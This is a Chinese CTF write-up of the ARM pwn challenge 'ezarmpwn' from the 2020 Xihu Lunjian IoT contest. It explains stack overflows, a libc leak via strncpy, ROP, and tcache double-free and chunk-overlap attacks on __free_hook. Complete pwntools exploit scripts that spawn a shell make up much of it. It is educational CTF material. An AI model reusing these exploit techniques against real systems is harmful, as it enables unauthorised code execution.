风之栖息地

西湖论剑 IoT闯关赛 2020 pwn3 ezarmpwn

字数统计: 2.7k阅读时长: 11 min
2020/12/17 Share

文章首发于安全客 https://www.anquanke.com/post/id/224972

前言

打了安恒举办的西湖论剑比赛,题目都是跑在一个开发板上的,通过数据线连接开发板的otg接口能访问题目环境。pwn题目一共有三道,其中有一道题目因为逻辑上的问题导致能比较简单的获得flag,另外一道题目是boa服务器在处理http认证过程中,发生栈溢出。我们这里分析的是这次比赛的第三道pwn题ezarmpwn。

题目分析

通过file和checksec能够知道程序为32位的arm小端程序,开启NX保护,没有PIE和canary保护。

主办方给出的libc为2.30,把libc解压的文件夹和题目放在同一个目录,使用qemu-arm -L ./ ./pwn3执行程序,能看到首先要求输入用户名和密码,之后进入到菜单选项。

play选项有两个子功能,add和delete,能分配chunk和释放chunk;私人信息是输出用户名和密码的内容;修改密码输入字符串修改原始的密码;选项4会退出程序,从功能上看是一道典型的libc菜单题。

漏洞分析

这道题的漏洞非常多,有一些漏洞很有干扰性。首先用户名和密码都是固定长度的buffer,大小如下:

栈溢出1

密码和用户名被带进注册函数中,这里输入的用户名直接通过scanf进入src没有任何限制,直接溢出。

off by null

在栈溢出下方有一个off by null的漏洞,如果我们在输入的密码中没有\n就会持续移动指针,最后在有\n的地方赋值为0,不过这个漏洞太难利用非常鸡肋。

UAF

在play的选项中的结构为下方所示:

1
2
3
4
struct {
int size;
char* content;
}

最后在delete操作中没有对指针置空,存在UAF漏洞,不过这里的结构体是在事先分配好的空间中,所以这个UAF利用难度较大,我能想到的是利用double free,但是在libc 2.30的情况下,利用难度很大。

栈溢出2

我们知道密码的buffer长度为40,这里strncpy直接复制了0x48(72)长度的字符串,直接溢出。

以上就是能够观察到的漏洞了,虽然我们有两个非常有用的栈溢出漏洞,但是我们需要泄露出libc地址,才能继续完成利用,不管是进行ROP还是利用UAF向__free_hook写地址都是需要libc地址的,所以拿到libc地址成为了我们的首要目标。

漏洞利用

最开始,我的想法是直接利用第一个栈溢出漏洞进行ROP,也找到了一些gadget,最后发现此路不通,程序本身的gadget十分少再加上程序的函数got地址都带有0x20,这个字符在scanf的时候回产生截断,导致rop失败。所以没有办法像x86那样用puts等泄露函数输出函数地址来计算得到libc地址。

那么另外一个栈溢出漏洞又如何呢?分析之后发现只能控制PC,没有足够的溢出长度来完成ROP。于是在比赛的时候,我就陷入了绝望,有没有什么方法可以获取到libc呢?在参考了pzhxbz师傅的exp之后恍然大悟,原来可以在栈上找libc地址通过strncpy连带着拷贝到password的buffer中,随后利用输出信息功能泄露字符串获得libc地址。看来以后在出现了输出功能的地方都要留个心眼,看看能不能有方法输出栈上的libc地址信息。

leak libc

在read到临时buffer栈空间中,可以看到有libc相关的函数地址,所以只要我们填充40字节的数据,在执行strncpy的时候就会连带着这个地址一起进入paasword中。

查看完成strncpy之后的的password,可以看到已经把后面的libc地址一起连带复制进buffer中。

我们调用输出信息的功能就可以看到泄露出的libc地址。

减去libc的基地址成功获得相对于libc的偏移。

1
2
3
4
5
change('a'*40)
info()
io.recvuntil('a'*40)
libc_addr = u32(io.recv(4)) - 0x32248
print('libc_addr: ' + hex(libc_addr))

control pc and rop

有了libc地址之后,这下就非常容易了,利用第二个栈溢出漏洞控制PC到最开始的地方触发第一个栈溢出漏洞完成rop。这里rop的思路是利用libc地址得到system和/bin/sh,使用gadget执行system函数。

1
2
3
4
5
#.text:000A1A5C                 MOV     R0, R4
#0x00010784 : pop {r4, pc}
change(b'a'*64 + p32(0x10e70))
io.sendlineafter('choice > ', '4')
payload = b'c' * 0x1c + p32(0x10784) + p32(bin_sh) + p32(libc_addr + 0xa1a5c) + p32(system)

这里还需要注意的一点是,我们溢出的部分覆盖了password的buffer,因此在输入密码的时候必须控制输入的内容,让字符串复制之后的rop chain依旧可以运行。在libc中找到如下的gadget:

虽然最后一个字节有差异但指令却是相同的,这样我们输入空密码最终在字符串复制时也只会复制一个空字节,对我们的rop chain将不会有任何影响。

我在测试的时候有很多坏字符的干扰,比如0x0a0x20,比较难受的是system函数的地址中恰好带有0x20所以整个exp在本地是没有办法复现的,只能在开发板上能成功。

UAF

在完成泄露libc地址之后,也可以不使用上面的栈溢出攻击方法,转而利用uaf漏洞完成堆利用的攻击。这里有两个利用思路,一个是很容易想到的double free,另外一个是构造出chunk overlap。

因为有tcache,要构造double free需要先把tcache填满,然后使用之前free一个再free另外一个最后再次free第一次free的chunk。

1
2
3
4
5
6
7
8
9
for i in range(10):
add(i,0x30,'/bin/sh\x00')

for i in range(7):
dele(i)

dele(7)
dele(8)
dele(7)

在有tcache的情况下会优先分配tcache中的chunk,所以再把tcache链表中的7个chunk全部分配,在这之后申请的第一个chunk修改它的指针让其指向我们想写入的地址__free_hook,再分配三次,第三次写入system地址到__free_hook中,最后随便free一个内容为/bin/sh\x00的chunk即可getshell。

1
2
3
4
5
6
7
8
9
10
11
for i in range(7):
add(20+i,0x30,'/bin/sh\x00')

add(30,0x30,p32(libc+e.symbols['__free_hook']))
print(hex(libc+e.symbols['__free_hook']))
add(31,0x30,'test')
add(32,0x30,'test')
add(34,0x30,p32(libc+e.symbols['system']))
add(11,10,'/bin/sh\x00')

dele(11)

另外一个思路是构造出chunk overlap,申请两个较大的chunk,释放之后申请一个更大的chunk,使得之前较小的两个chunk合并,这样新申请的大chunk能够修改到其中一个小chunk的header。把header改成tcache的范围,free这个chunk,让它进入tcache中,这个时候重复释放和分配大chunk就能修改tcache的指针,剩下来的操作和上面的相同。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
for i in range(9):
add(i,0x40,"aaaa\n")
add(15,6,"a\n") #0x10
add(14,6,"a\n") #0x10
delete(15)
delete(14) #tcache[0x10]=14->15
for i in range(9):
delete(8-i) #unsorted bin 0->1
free_hook = libc + 0x1479cc
system = libc + 0x3a028
add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") #overchunk
delete(1) #tcache[0x10] = 1->14->15
delete(9)
add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x3a028)+"\n")
# print hex(libc+0x1479cc)
delete(11)
p.interactive()

最终exp

这是栈溢出的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

elf = ELF('./pwn3')
libc = ELF('./lib/libc-2.30.so')
context.arch= 'arm'

if args['D']:
context.log_level = 'debug'

if args['R']:
io = remote('')
else:
io = process(['qemu-arm', '-g', '1234', '-L', './', './pwn3'])


def add(my_id, size, content):
io.sendlineafter('choice > ', '1')
io.sendlineafter('choice > ', '1')
io.sendlineafter('index: ', str(my_id))
io.sendlineafter('size: ', str(size))
io.sendafter('content: ', content)


def delete(my_id):
io.sendlineafter('choice > ', '1')
io.sendlineafter('choice > ', '2')
io.sendlineafter('index: ', str(my_id))


def info():
io.sendlineafter('choice > ', '2')


def change(content):
io.sendlineafter('choice > ', '3')
io.sendafter('Please Input new password:', content)
io.sendlineafter('continue', '')

pause()

io.sendlineafter('Please registered account \nInput your username:', 'xxxx')
io.sendlineafter('Please input password:', '2333')
io.sendlineafter('Please input password again:', '2333')
io.sendlineafter('continue ...', '')

'''
0x10f58 mov r0, r7; blx r3;
0x10a90 mov r0, r3; pop {fp, pc};
0x105c8 : pop {r3, pc}
0x10784 : pop {r4, pc}
'''
pause()
change('a'*40)
info()

io.recvuntil('a'*40)
libc_addr = u32(io.recv(4)) - 0x32248
print('libc_addr: ' + hex(libc_addr))

change(b'a'*64 + p32(0x10e70))

io.sendlineafter('choice > ', '4')

bin_sh = libc_addr + 1212228
system = libc_addr + 237608
payload = b'c' * 0x1c + p32(0x10784) + p32(bin_sh) + p32(libc_addr + 0xa1a5c) + p32(system)

io.sendlineafter('username:', payload)
io.sendlineafter('password:', '')
pause()
io.sendlineafter('again:', '')

io.sendlineafter('continue', '')

io.interactive()

这是利用uaf的两个exp,第一个为double free,第二个为chunk overlap。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

#context.log_level='debug'
#p=process(["qemu-arm","-L","/usr/arm-linux-gnueabihf","./pwn3"])
#p=process(["qemu-arm","-L","../","pwn3"])
e=ELF('../lib/libc-2.30.so')
#p=process(["qemu-arm","-g",'1234',"-L","../","./pwn3"])
p=remote("20.20.11.14",9999)

p.sendlineafter('username:','yzloser')
p.sendlineafter('password:','yzloser')
p.sendlineafter('again:','yzloser')
p.sendlineafter('continue','')
p.sendlineafter('choice','3')
p.sendlineafter('password:','A'*0x27)
p.sendlineafter('continue','')
p.sendlineafter('choice','2')
p.recvuntil(b'A'*0x27+b'\n')

libc=u32(p.recv(4))-205384

def add(idx,siz,s):
p.sendlineafter('choice','1')
p.sendlineafter('choice','1')
p.sendlineafter('index',str(idx))
p.sendlineafter('size',str(siz))
p.sendlineafter('content',s)


def dele(idx):
p.sendlineafter('choice','1')
p.sendlineafter('choice','2')
p.sendlineafter('index',str(idx))


print(hex(libc))

for i in range(10):
add(i,0x30,'/bin/sh\x00')


for i in range(7):
dele(i)
# double free
dele(7)
dele(8)
dele(7)

for i in range(7):
add(20+i,0x30,'/bin/sh\x00')


add(30,0x30,p32(libc+e.symbols['__free_hook']))
print(hex(libc+e.symbols['__free_hook']))
add(31,0x30,'test')
add(32,0x30,'test')
add(34,0x30,p32(libc+e.symbols['system']))
add(11,10,'/bin/sh\x00')

dele(11)

p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
from pwn import *


context.log_level="debug"
def info():
p.sendlineafter("> ","2")


def play():
p.sendlineafter("> ","1")


def add(index,size,note):
play()
p.sendlineafter("> ","1")
p.sendafter(": ",str(index))
p.sendlineafter(": ",str(size))
p.sendafter(": ",note)


def delete(index):
play()
p.sendlineafter("> ","2")
p.sendlineafter(": ",str(index))

p=process(["qemu-arm","-g","1234","-L",".","./pwn3"])
#p = remote("20.20.11.14", 9999)


un="aaaaa"
pd1="bbbbb"
pd2="bbbbb"
p.sendlineafter(":",un)
p.sendlineafter(":",pd1)
p.sendlineafter(":",pd2)
p.sendline("")


p.sendlineafter("> ","3")
p.sendlineafter(":","a"*0x20)
p.sendline("")


info()
p.recvuntil(": ")
libc=u32(p.recv(4))+0xff69cba0-0x044ba0-0xff68a248
# print hex(libc)


for i in range(9):
add(i,0x40,"aaaa\n")
add(15,6,"a\n") #0x10
add(14,6,"a\n") #0x10
delete(15)
delete(14) #tcache[0x10]=14->15
for i in range(9):
delete(8-i) #unsorted bin=0->1
free_hook = libc + 0x1479cc
system = libc + 0x3a028
add(9,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(0)*3+p32(0x39)+"\n") #overchunk
delete(1) #tcache[0x10] = 1->14->15
delete(9)
add(10,0x70,"a"*0x40+p32(0)+p32(0x11)+p32(free_hook)*3+p32(0x39)+p32(libc+0x1479cc)+"\n")
add(11,8,"/bin/sh\x00")
add(12,8,p32(libc+0x3a028)+"\n")
# print hex(libc+0x1479cc)
delete(11)
p.interactive()
#0x14675c -- main_arena

总结

这道arm的题目赛后发现也不难,关键还是在比赛的时候没有能够熟练的分析。在堆分析中有一个很重要的一点,在用gdb插件调试的时候,加载没有调试符号的libc无法使用bins,chunks等命令。这时,只能自己手动在内存中查找这些数据,比如tcache的管理结构是在heap最开始的地方,而bins则在main_arena上。

CATALOG
  1. 1. 前言
  2. 2. 题目分析
  3. 3. 漏洞分析
    1. 3.1. 栈溢出1
    2. 3.2. off by null
    3. 3.3. UAF
    4. 3.4. 栈溢出2
  4. 4. 漏洞利用
    1. 4.1. leak libc
    2. 4.2. control pc and rop
    3. 4.3. UAF
  5. 5. 最终exp
  6. 6. 总结